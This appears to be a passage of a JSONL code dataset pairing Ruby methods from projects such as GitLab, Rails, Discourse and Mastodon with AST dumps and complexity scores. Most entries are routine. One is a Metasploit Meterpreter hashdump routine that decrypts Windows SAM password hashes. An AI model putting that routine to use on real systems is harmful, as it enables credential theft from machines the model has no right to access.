{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/chat_message/wiki_page_message.rb","start_line":31,"raw_source":"def attachments\n        return description if markdown\n\n        description_message\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"attachments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"markdown\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"description_message\"]}]}]}","id":"bcb36c0a-f092-4506-9562-50b4b4d9f9d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/database/batched_background_migration/single_database_worker.rb","start_line":35,"raw_source":"def lease_key\n          name.demodulize.underscore\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"lease_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"demodulize\"]},\"underscore\"]}]}","id":"9dbf3ce8-3b97-4020-b36b-db33970c8dfc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/string_ext_test.rb","start_line":370,"raw_source":"def test_truncates_bytes_preserves_grapheme_clusters\n    assert_equal \"a \", \"a ❤️ b\".truncate_bytes(2, omission: nil)\n    assert_equal \"a \", \"a ❤️ b\".truncate_bytes(3, omission: nil)\n    assert_equal \"a \", \"a ❤️ b\".truncate_bytes(7, omission: nil)\n    assert_equal \"a ❤️\", \"a ❤️ b\".truncate_bytes(8, omission: nil)\n\n    assert_equal \"a \", \"a 👩‍❤️‍👩\".truncate_bytes(13, omission: nil)\n    assert_equal \"\", \"👩‍❤️‍👩\".truncate_bytes(13, omission: nil)\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_truncates_bytes_preserves_grapheme_clusters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a \"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a ❤️ b\"]},\"truncate_bytes\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a \"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a ❤️ b\"]},\"truncate_bytes\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a \"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a ❤️ b\"]},\"truncate_bytes\",{\"type\":\"int\",\"children\":[7]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a ❤️\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a ❤️ b\"]},\"truncate_bytes\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a \"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"a 👩‍❤️‍👩\"]},\"truncate_bytes\",{\"type\":\"int\",\"children\":[13]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"👩‍❤️‍👩\"]},\"truncate_bytes\",{\"type\":\"int\",\"children\":[13]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"omission\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"a49c7e08-4edf-40b7-bdd5-139b3eaa9453"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_single_chunk.rb","start_line":130,"raw_source":"def purge\n          super\n          @chunk.close\n          @bytesize = @size = @adding_bytes = @adding_size = 0\n          File.unlink(@path)\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"purge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunk\"]},\"close\"]},{\"type\":\"ivasgn\",\"children\":[\"@bytesize\",{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"ivasgn\",\"children\":[\"@adding_bytes\",{\"type\":\"ivasgn\",\"children\":[\"@adding_size\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"ivar\",\"children\":[\"@path\"]}]}]}]}","id":"884edd88-6cd8-4ee0-a24c-717dc3ca2194"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/prevent_index_creation.rb","start_line":71,"raw_source":"def on_casgn(node)\n          @forbidden_tables_used ||= !!forbidden_constant_defined?(node)\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_casgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@forbidden_tables_used\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"forbidden_constant_defined?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"!\"]},\"!\"]}]}]}","id":"1a82029c-b1ec-46d1-9cdd-37f367089445"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/datetime_field.rb","start_line":7,"raw_source":"def render\n          options = @options.stringify_keys\n          options[\"value\"] = datetime_value(options.fetch(\"value\", value))\n          options[\"min\"] = format_datetime(parse_datetime(options[\"min\"]))\n          options[\"max\"] = format_datetime(parse_datetime(options[\"max\"]))\n          @options = options\n          super\n        end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"stringify_keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"datetime_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[null,\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"min\"]},{\"type\":\"send\",\"children\":[null,\"format_datetime\",{\"type\":\"send\",\"children\":[null,\"parse_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"min\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"max\"]},{\"type\":\"send\",\"children\":[null,\"format_datetime\",{\"type\":\"send\",\"children\":[null,\"parse_datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"max\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ff3c7b74-ec1d-4595-817b-8138a9c57643"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240902014331_sync_fk_referencing_p_ci_pipelines.rb","start_line":122,"raw_source":"def down\n    FOREIGN_KEYS.each do |options|\n      restore_foreign_key_for_old_source_table(options)\n\n      add_concurrent_foreign_key(\n        options[:source_table], NEW_REFERENCING_TABLE,\n        **with_defaults(options, validate: false)\n      )\n    end\n\n    P_FOREIGN_KEYS.each do |options|\n      restore_foreign_key_for_old_source_table(options, partitioned: true)\n\n      add_concurrent_partitioned_foreign_key(\n        options[:source_table], NEW_REFERENCING_TABLE,\n        **with_defaults(options, validate: false)\n      )\n    end\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"restore_foreign_key_for_old_source_table\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_table\"]}]},{\"type\":\"const\",\"children\":[null,\"NEW_REFERENCING_TABLE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_defaults\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"P_FOREIGN_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"restore_foreign_key_for_old_source_table\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partitioned\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_partitioned_foreign_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_table\"]}]},{\"type\":\"const\",\"children\":[null,\"NEW_REFERENCING_TABLE\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_defaults\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}]}]}]}","id":"95bb7cc0-3222-46cc-98b2-2c9da89d8c00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/path_regex_spec.rb","start_line":40,"raw_source":"def wildcards_include?(path)\n    described_class::PROJECT_WILDCARD_ROUTES.include?(path) ||\n      described_class::PROJECT_WILDCARD_ROUTES.include?(path.split('/').first)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wildcards_include?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"PROJECT_WILDCARD_ROUTES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"PROJECT_WILDCARD_ROUTES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"first\"]}]}]}]}","id":"6511984f-6024-4e79-8a1c-d00667106360"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/sidebar_sections_controller.rb","start_line":93,"raw_source":"def destroy\n    sidebar_section = SidebarSection.find_by(id: section_params[\"id\"])\n    @guardian.ensure_can_delete!(sidebar_section)\n    sidebar_section.destroy!\n\n    if sidebar_section.public?\n      StaffActionLogger.new(current_user).log_destroy_public_sidebar_section(sidebar_section)\n      MessageBus.publish(\"/refresh-sidebar-sections\", nil)\n    end\n\n    render json: success_json\n  rescue Discourse::InvalidAccess\n    render json: failed_json, status: :forbidden\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sidebar_section\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SidebarSection\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"section_params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"ensure_can_delete!\",{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]},\"destroy!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]},\"public?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"log_destroy_public_sidebar_section\",{\"type\":\"lvar\",\"children\":[\"sidebar_section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"publish\",{\"type\":\"str\",\"children\":[\"/refresh-sidebar-sections\"]},{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]},null]}]}","id":"6b91a49c-1888-4757-97f8-611ae521690a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/pipeline_test_report_builder.rb","start_line":83,"raw_source":"def pipeline_project_api_base_url(pipeline)\n    \"#{api_endpoint}/projects/#{pipeline['project_id']}\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pipeline_project_api_base_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_endpoint\"]}]},{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"[]\",{\"type\":\"str\",\"children\":[\"project_id\"]}]}]}]}]}","id":"71ef2480-12b2-4393-82e2-beeabba41727"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/hashdump.rb","start_line":211,"raw_source":"def decrypt_user_hash(rid, hbootkey, enchash, pass)\n\n  if(enchash.empty?)\n    case pass\n    when @sam_lmpass\n      return @sam_empty_lm\n    when @sam_ntpass\n      return @sam_empty_nt\n    end\n    return \"\"\n  end\n\n  des_k1, des_k2 = rid_to_key(rid)\n\n  d1 = OpenSSL::Cipher::Cipher.new('des-ecb')\n  d1.padding = 0\n  d1.key = des_k1\n\n  d2 = OpenSSL::Cipher::Cipher.new('des-ecb')\n  d2.padding = 0\n  d2.key = des_k2\n\n  md5 = Digest::MD5.new\n  md5.update(hbootkey[0,16] + [rid].pack(\"V\") + pass)\n\n  rc4 = OpenSSL::Cipher::Cipher.new('rc4')\n  rc4.key = md5.digest\n  okey = rc4.update(enchash)\n\n  d1o  = d1.decrypt.update(okey[0,8])\n  d1o << d1.final\n\n  d2o  = d2.decrypt.update(okey[8,8])\n  d1o << d2.final\n  d1o + d2o\nend","complexity_score":48.3,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_user_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rid\"]},{\"type\":\"arg\",\"children\":[\"hbootkey\"]},{\"type\":\"arg\",\"children\":[\"enchash\"]},{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enchash\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"when\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sam_lmpass\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sam_empty_lm\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sam_ntpass\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sam_empty_nt\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"des_k1\"]},{\"type\":\"lvasgn\",\"children\":[\"des_k2\"]}]},{\"type\":\"send\",\"children\":[null,\"rid_to_key\",{\"type\":\"lvar\",\"children\":[\"rid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"d1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"des-ecb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d1\"]},\"padding=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d1\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"des_k1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"d2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"des-ecb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d2\"]},\"padding=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d2\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"des_k2\"]}]},{\"type\":\"lvasgn\",\"children\":[\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hbootkey\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[16]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rid\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rc4\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"rc4\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rc4\"]},\"key=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"digest\"]}]},{\"type\":\"lvasgn\",\"children\":[\"okey\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rc4\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"enchash\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"d1o\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d1\"]},\"decrypt\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"okey\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d1o\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d1\"]},\"final\"]}]},{\"type\":\"lvasgn\",\"children\":[\"d2o\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d2\"]},\"decrypt\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"okey\"]},\"[]\",{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d1o\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d2\"]},\"final\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d1o\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"d2o\"]}]}]}]}","id":"0ffb8e54-008b-4e68-979f-ae131ecf1052"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_bot/chat_streamer.rb","start_line":100,"raw_source":"def run\n        done = false\n        while !done\n          buffer = +\"\"\n          popped = @queue.pop\n          break if popped == :done\n\n          buffer << popped\n\n          begin\n            while true\n              popped = @queue.pop(true)\n              if popped == :done\n                done = true\n                break\n              end\n              buffer << popped\n            end\n          rescue ThreadError\n          end\n\n          streaming = ChatSDK::Message.stream(message_id: reply.id, raw: buffer, guardian: guardian)\n          if !streaming\n            @cancel_manager.cancel! if @cancel_manager\n          end\n        end\n      end","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"done\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"done\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"popped\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"pop\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"popped\"]},\"==\",{\"type\":\"sym\",\"children\":[\"done\"]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"popped\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"popped\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"pop\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"popped\"]},\"==\",{\"type\":\"sym\",\"children\":[\"done\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"done\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"popped\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ThreadError\"]}]},null,null]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"streaming\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatSDK\"]},\"Message\"]},\"stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reply\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"buffer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"streaming\"]},\"!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cancel_manager\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cancel_manager\"]},\"cancel!\"]},null]},null]}]}]}]}]}","id":"f30a4828-8432-41fb-ba9d-02280c1aa793"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/users/base_dismissible_alert_component.rb","start_line":22,"raw_source":"def wrapper_options?\n      wrapper_options.present?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_options?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapper_options\"]},\"present?\"]}]}","id":"a9f3cf9a-3863-4049-ac85-819dc25b0b27"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/unblock_domain_service.rb","start_line":12,"raw_source":"def process_retroactive_updates\n    scope = Account.by_domain_and_subdomains(domain_block.domain)\n\n    scope.where(silenced_at: domain_block.created_at).in_batches.update_all(silenced_at: nil) unless domain_block.noop?\n    scope.where(suspended_at: domain_block.created_at).in_batches.update_all(suspended_at: nil, suspension_origin: nil) if domain_block.suspend?\n  